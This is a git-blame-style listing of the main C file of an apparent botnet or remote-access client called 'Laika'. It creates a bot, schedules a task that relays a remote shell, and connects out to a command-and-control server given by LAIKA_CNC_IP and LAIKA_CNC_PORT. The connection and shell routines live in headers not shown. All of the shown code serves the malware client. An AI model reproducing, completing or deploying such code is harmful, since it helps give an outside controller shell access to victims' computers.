2022-01-25 03:46:29 +00:00
|
|
|
#include <stdio.h>
|
|
|
|
|
2022-03-15 18:05:11 +00:00
|
|
|
#include "lconfig.h"
|
2022-01-25 03:46:29 +00:00
|
|
|
#include "lerror.h"
|
2022-02-21 23:25:49 +00:00
|
|
|
#include "ltask.h"
|
2022-01-25 03:46:29 +00:00
|
|
|
#include "bot.h"
|
2022-02-21 23:25:49 +00:00
|
|
|
#include "shell.h"
|
|
|
|
|
|
|
|
struct sLaika_taskService tService;
|
|
|
|
|
|
|
|
void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
|
|
|
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
if (bot->shell)
|
2022-03-02 16:38:16 +00:00
|
|
|
laikaB_readShell(bot, bot->shell);
|
2022-02-21 23:25:49 +00:00
|
|
|
}
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-04-06 04:57:37 +00:00
|
|
|
int main(int argv, char *argc[]) {
|
2022-01-25 03:46:29 +00:00
|
|
|
struct sLaika_bot *bot = laikaB_newBot();
|
|
|
|
|
2022-02-21 23:25:49 +00:00
|
|
|
/* init task service */
|
|
|
|
laikaT_initTaskService(&tService);
|
|
|
|
laikaT_newTask(&tService, 100, shellTask, (void*)bot);
|
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
/* connect to test CNC */
|
2022-03-15 18:05:11 +00:00
|
|
|
laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
|
2022-01-25 03:46:29 +00:00
|
|
|
|
|
|
|
/* while connection is still alive, poll bot */
|
|
|
|
while (laikaS_isAlive((&bot->peer->sock))) {
|
2022-02-21 23:25:49 +00:00
|
|
|
if (!laikaB_poll(bot, laikaT_timeTillTask(&tService))) {
|
|
|
|
laikaT_pollTasks(&tService);
|
2022-01-25 03:46:29 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2022-01-25 17:58:36 +00:00
|
|
|
laikaB_freeBot(bot);
|
2022-01-29 06:26:15 +00:00
|
|
|
LAIKA_DEBUG("bot killed\n");
|
2022-01-25 03:46:29 +00:00
|
|
|
return 0;
|
|
|
|
}
|